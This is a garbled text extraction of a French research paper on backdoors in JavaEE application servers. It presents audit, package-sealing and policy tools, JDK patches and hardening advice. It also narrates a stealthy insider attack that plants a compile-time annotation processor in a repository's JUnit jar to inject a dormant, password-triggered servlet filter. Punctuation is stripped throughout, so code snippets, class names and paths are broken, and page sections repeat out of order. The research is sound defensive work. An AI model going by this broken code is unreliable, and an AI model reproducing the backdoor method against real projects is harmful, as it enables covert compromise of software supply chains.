Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

